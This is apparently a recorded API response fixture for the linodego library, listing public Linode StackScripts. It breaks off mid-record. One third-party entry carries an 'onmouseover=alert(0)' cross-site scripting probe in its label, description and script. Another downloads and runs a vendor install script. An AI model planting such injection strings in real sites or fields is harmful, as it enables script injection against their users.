1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739 2740 2741 2742 2743 2744 2745 2746 2747 2748 2749 2750 2751 2752 2753 2754 2755 2756 2757 2758 2759 2760 2761 2762 2763 2764 2765 2766 2767 2768 2769 2770 2771 2772 2773 2774 2775 2776 2777 2778 2779 2780 2781 2782 2783 2784 2785 2786 2787 2788 2789 2790 2791 2792 2793 2794 2795 2796 2797 2798 2799 2800 2801 2802 2803 2804 2805 2806 2807 2808 2809 2810 2811 2812 2813 2814 2815 2816 2817 2818 2819 2820 2821 2822 2823 2824 2825 2826 2827 2828 2829 2830 2831 2832 2833 2834 2835 2836 2837 2838 2839 2840 2841 2842 2843 2844 2845 2846 2847 2848 2849 2850 2851 2852 2853 2854 2855 2856 2857 2858 2859 2860 2861 2862 2863 2864 2865 2866 2867 2868 2869 2870 2871 2872 2873 2874 2875 2876 2877 2878 2879 2880 2881 2882 2883 2884 2885 2886 2887 2888 2889 2890 2891 2892 2893 2894 2895 2896 2897 2898 2899 2900 2901 2902 2903 2904 2905 2906 2907 2908 2909 2910 2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 2949 2950 2951 2952 2953 2954 2955 2956 2957 2958 2959 2960 2961 2962 2963 2964 2965 2966 2967 2968 2969 2970 2971 2972 2973 2974 2975 2976 2977 2978 2979 2980 2981 2982 2983 2984 2985 2986 2987 2988 2989 2990 2991 2992 2993 2994 2995 2996 2997 2998 2999 3000 3001 3002 3003 3004 3005 3006 3007 3008 3009 3010 3011 3012 3013 3014 3015 3016 3017 3018 3019 3020 3021 3022 3023 3024 3025 3026 3027 3028 3029 3030 3031 3032 3033 3034 3035 3036 3037 3038 3039 3040 3041 3042 3043 3044 3045 3046 3047 3048 3049 3050 3051 3052 3053 3054 3055 3056 3057 3058 3059 3060 3061 3062 3063 3064 3065 3066 3067 3068 3069 3070 3071 3072 3073 3074 3075 3076 3077 3078 3079 3080 3081 3082 3083 3084 3085 3086 3087 3088 3089 3090 3091 3092 3093 3094 3095 3096 3097 3098 3099 3100 3101 3102 3103 3104 3105 3106 3107 3108 3109 3110 3111 3112 3113 3114 3115 3116 3117 3118 3119 3120 3121 3122 3123 3124 3125 3126 3127 3128 3129 3130 3131 3132 3133 3134 3135 3136 3137 3138 3139 3140 3141 3142 3143 3144 3145 3146 3147 3148 3149 3150 3151 3152 3153 3154 3155 3156 3157 3158 3159 3160 3161 3162 3163 3164 3165 3166 3167 3168 3169 3170 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3185 3186 3187 3188 3189 3190 3191 3192 3193 3194 3195 3196 3197 3198 3199 3200 3201 3202 3203 3204 3205 3206 3207 3208 3209 3210 3211 3212 3213 3214 3215 3216 3217 3218 3219 3220 3221 3222 3223 3224 3225 3226 3227 3228 3229 3230 3231 3232 3233 3234 3235 3236 3237 3238 3239 3240 3241 3242 3243 3244 3245 3246 3247 3248 3249 3250 3251 3252 3253 3254 3255 3256 3257 3258 3259 3260 3261 3262 3263 3264 3265 3266 3267 3268 3269 3270 3271 3272 3273 3274 3275 3276 3277 3278 3279 3280 3281 3282 3283 3284 3285 3286 3287 3288 3289 3290 3291 3292 3293 3294 3295 3296 3297 3298 3299 3300 3301 3302 3303 3304 3305 3306 3307 3308 3309 3310 3311 3312 3313 3314 3315 3316 3317 3318 3319 3320 3321 3322 3323 3324 3325 3326 3327 3328 3329 3330 3331 3332 3333 3334 3335 3336 3337 3338 3339 3340 3341 3342 3343 3344 3345 3346 3347 3348 3349 3350 3351 3352 3353 3354 3355 3356 3357 3358 3359 3360 3361 3362 3363 3364 3365 3366 3367 3368 3369 3370 3371 3372 3373 3374 3375 3376 3377 3378 3379 3380 3381 3382 3383 3384 3385 3386 3387 3388 3389 3390 3391 3392 3393 3394 3395 3396 3397 3398 3399 3400 3401 3402 3403 3404 3405 3406 3407 3408 3409 3410 3411 3412 3413 3414 3415 3416 3417 3418 3419 3420 3421 3422 3423 3424 3425 3426 3427 3428 3429 3430 3431 3432 3433 3434 3435 3436 3437 3438 3439 3440 3441 3442 3443 3444 3445 3446 3447 3448 3449 3450 3451 3452 3453 3454 3455 3456 3457 3458 3459 3460 3461 3462 3463 3464 3465 3466 3467 3468 3469 3470 3471 3472 3473 3474 3475 3476 3477 3478 3479 3480 3481 3482 3483 3484 3485 3486 3487 3488 3489 3490 3491 3492 3493 3494 3495 3496 3497 3498 3499 3500 3501 3502 3503 3504 3505 3506 3507 3508 3509 3510 3511 3512 3513 3514 3515 3516 3517 3518 3519 3520 3521 3522 3523 3524 3525 3526 3527 3528 3529 3530 3531 3532 3533 3534 3535 3536 3537 3538 3539 3540 3541 3542 3543 3544 3545 3546 3547 3548 3549 3550 3551 3552 3553 3554 3555 3556 3557 3558 3559 3560 3561 3562 3563 3564 3565 3566 3567 3568 3569 3570 3571 3572 3573 3574 3575 3576 3577 3578 3579 3580 3581 3582 3583 3584 3585 3586 3587 3588 3589 3590 3591 3592 3593 3594 3595 3596 3597 3598 3599 3600 3601 3602 3603 3604 3605 3606 3607 3608 3609 3610 3611 3612 3613 3614 3615 3616 3617 3618 3619 3620 3621 3622 3623 3624 3625 3626 3627 3628 3629 3630 3631 3632 3633 3634 3635 3636 3637 3638 3639 3640 3641 3642 3643 3644 3645 3646 3647 3648 3649 3650 3651 3652 3653 3654 3655 3656 3657 3658 3659 3660 3661 3662 3663 3664 3665 3666 3667 3668 3669 3670 3671 3672 3673 3674 3675 3676 3677 3678 3679 3680 3681 3682 3683 3684 3685 3686 3687 3688 3689 3690 3691 3692 3693 3694 3695 3696 3697 3698 3699 3700 3701 3702 3703 3704 3705 3706 3707 3708 3709 3710 3711 3712 3713 3714 3715 3716 3717 3718 3719 3720 3721 3722 3723
|
---
version: 1
interactions:
- request:
body: ""
form: {}
headers:
Accept:
- application/json
Content-Type:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
url: https://api.linode.com/v4beta/linode/stackscripts?page=1
method: GET
response:
body: '{"data": [{"id": 623104, "username": "octane3333", "user_gravatar_id":
"3e9341b887a3183cc653e488a37b83b8", "label": "onmouseover=alert(0)", "description":
"onmouseover=alert(0)", "ordinal": 0, "logo_url": "", "images": ["linode/fedora29"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\nonmouseover=alert(0)", "user_defined_fields":
[]}, {"id": 6146, "username": "north5", "user_gravatar_id": "4719cf3a5ab3123f9ee536c796788b68",
"label": "north5_ubuntu_basic", "description": "Basic lib of bash functions",
"ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts",
"linode/ubuntu12.04lts32bit", null, "linode/ubuntu12.1032bit", "linode/ubuntu12.10"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"short hostname recoord added to /etc/hosts", "script": "#!/bin/bash\n\n# <udf
name=\"ubuntu_mirror\" label=\"ubuntu mirror url\" default=\"http://archive.ubuntu.com/ubuntu/\">\n#
<udf name=\"hostname\" label=\"hostname\">\n\n# Set software sources\nfunction
set_sources_list() {\n echo \"Adjusting sources.list (destructively)\" >> $logfile\n CODENAME=$(lsb_release
-sc)\n\n cat >/etc/apt/sources.list <<EOF\ndeb $UBUNTU_MIRROR $CODENAME main
restricted universe multiverse\ndeb-src $UBUNTU_MIRROR $CODENAME main restricted
universe multiverse\n\ndeb $UBUNTU_MIRROR $CODENAME-updates main restricted
universe multiverse\ndeb-src $UBUNTU_MIRROR $CODENAME-updates main restricted
universe multiverse\n\ndeb http://security.ubuntu.com/ubuntu $CODENAME-security
main restricted universe multiverse\ndeb-src http://security.ubuntu.com/ubuntu
$CODENAME-security main restricted universe multiverse\nEOF\n}\n\n# Set hostname\nfunction
set_hostname() {\n echo \"Setting Hostname to ${HOSTNAME}\" >> $logfile\n echo
${HOSTNAME} > /etc/hostname\n hostname -F /etc/hostname\n short=$(hostname
-s)\n echo \"127.0.1.1 ${short} ${short}\" >> /etc/hosts\n}\n\n# Update software
repositories and perform upgrade\nfunction system_upgrade() {\n echo \"Update
system packages\" >> $logfile\n apt-get -y update\n apt-get -y upgrade\n}\n\n#
Clean system packages\nfunction system_clean() {\n apt-get -y autoremove\n apt-get
-y clean \n}\n\n# Install north5 common packages\nfunction north5_packages()
{\n apt-get -y install build-essential\n apt-get -y install curl htop\n\n apt-get
-y remove apparmor\n\n RELEASE=$(lsb_release -sr)\n\n # Ubuntu 12.04 already
has these scripts integrated\n if [[ ${RELEASE} == \"10.04\" ]]; then\n apt-get
-y install python-software-properties\n fi\n}\n\n# Default log file\nlogfile=${logfile:-\"/root/stackscript.log\"}",
"user_defined_fields": []}, {"id": 9218, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "OpenBiz Cubi powered by Webuzo",
"description": "Openbiz Cubi Platform is a fast application development platform
designed for business applications. It is built on top of the excellent Openbiz
framework. It provides easy and intelligent development tools and implements
almost all commonly used components, developers just need to work on their core
business logic development. Openbiz Cubi makes application development so quick.
\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy
Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP,
Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can
get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation
Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the
installation process, access http://your-ip:2004 to configure OpenBiz Cubi and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install OpenBiz Cubi and Softaculous Webuzo\n# Description -\n# About Webuzo
:\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps
(WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java,
MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About OpenBiz
Cubi :\n# Openbiz Cubi Platform is a fast application development platform
designed for business applications.\n# It is built on top of the excellent
Openbiz framework. It provides easy and intelligent development \n# tools
and implements almost all commonly used components, developers just need to
work on their core\n# business logic development. Openbiz Cubi makes application
development so quick. \n###########################################################################################################\n\n#
Install OpenBiz Cubi Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=243&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
OpenBiz Cubi and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, OpenBiz Cubi has been successfully installed\"\necho \" \"\necho
\"You can now configure OpenBiz Cubi and Softaculous Webuzo at the following
URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing
Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 3, "username":
"linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "StackScript
Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA
collection of useful Python functions to be included in other StackScripts.",
"ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7",
"linode/debian7", "linode/debian8", "linode/fedora22"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env
python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano
<rfeliciano@linode.com>\n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis
StackScript is not meant to be directly deployed. Includes a host of\nfunctions
to do very common task on a distro, as implemented in Python. The\nfunctions
in this library are designed to be run accross the Linode Core\nDistributions:\n\t-
Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport
fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport
subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport
yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package
manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list:
Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the
StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed
here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo
\"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef
init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t#
Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1)
# StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\",
\"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\"
&>/dev/null\nthen\n\techo \"####################################################################\"\n\techo
\"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo
\"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes
until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo
\"####################################################################\"\n\techo
\" \"\nelse\n\techo \"####################################################################\"\n\techo
\"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo
\"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located
at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo
\" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef
logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn
